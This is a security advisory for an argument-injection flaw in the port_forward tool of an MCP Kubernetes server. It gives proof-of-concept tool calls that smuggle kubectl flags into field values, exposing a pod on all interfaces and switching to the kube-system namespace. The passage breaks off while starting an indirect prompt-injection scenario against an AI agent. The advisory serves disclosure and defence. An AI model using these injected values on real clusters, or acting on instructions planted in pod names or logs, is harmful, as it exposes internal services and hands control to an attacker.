GitHub Security Advisory: GHSA-4xqg-gf5c-ghwq
Package: mcp-server-kubernetes (NPM)
Severity: HIGH (CVSS 8.3)
CWE: CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Vulnerable versions: <= 3.4.0
Patched in: 3.5.0

Summary: MCP Server Kubernetes has an Argument Injection in port_forward tool via space-splitting

Details:
## Summary

The `port_forward` tool in `mcp-server-kubernetes` constructs a kubectl command as a string and splits it on spaces before passing to `spawn()`. Unlike all other tools in the codebase which correctly use `execFileSync("kubectl", argsArray)`, `port_forward` uses string concatenation with user-controlled input (`namespace`, `resourceType`, `resourceName`, `localPort`, `targetPort`) followed by naive `.split(" ")` parsing. This allows an attacker to inject arbitrary kubectl flags by embedding spaces in any of these fields.


## Affected Versions

`<= 3.4.0`

## Vulnerability Details

**File:** `src/tools/port_forward.ts` (compiled: `dist/tools/port_forward.js`)

The `startPortForward` function builds a kubectl command string by concatenating user-controlled input:

```javascript
let command = `kubectl port-forward`;
if (input.namespace) {
    command += ` -n ${input.namespace}`;
}
command += ` ${input.resourceType}/${input.resourceName} ${input.localPort}:${input.targetPort}`;
```

This string is then split on spaces and passed to `spawn()`:

```javascript
async function executeKubectlCommandAsync(command) {
    return new Promise((resolve, reject) => {
        const [cmd, ...args] = command.split(" ");
        const process = spawn(cmd, args);
```

Because `.split(" ")` treats every space as an argument boundary, an attacker can inject additional kubectl flags by embedding spaces in any of the user-controlled fields.

### Contrast with other tools

Every other tool in the codebase correctly uses array-based argument passing:

```javascript
// kubectl-get.js, kubectl-apply.js, kubectl-delete.js, etc. — SAFE pattern
execFileSync("kubectl", ["get", resourceType, "-n", namespace, ...], options);
```

Only `port_forward` uses the vulnerable string-concatenation-then-split pattern.

## Exploitation

### Attack 1: Expose internal Kubernetes services to the network

By default, `kubectl port-forward` binds to `127.0.0.1` (localhost only). An attacker can inject `--address=0.0.0.0` to bind on all interfaces, exposing the forwarded Kubernetes service to the entire network:

```
Tool call: port_forward({
  resourceType: "pod",
  resourceName: "my-database --address=0.0.0.0",
  namespace: "production",
  localPort: 5432,
  targetPort: 5432
})
```

This results in the command:
```
kubectl port-forward -n production pod/my-database --address=0.0.0.0 5432:5432
```

The database pod (intended for localhost-only access) is now exposed to the entire network.

### Attack 2: Cross-namespace targeting

```
Tool call: port_forward({
  resourceType: "pod",
  resourceName: "secret-pod",
  namespace: "default -n kube-system",
  localPort: 8080,
  targetPort: 8080
})
```

The `-n` flag is injected twice, and kubectl uses the last one, targeting `kube-system` instead of the intended `default` namespace.

### Attack 3: Indirect prompt injection

A malicious pod name or log output could instruct an AI agent to call the `port_forward` tool with injected arguments, e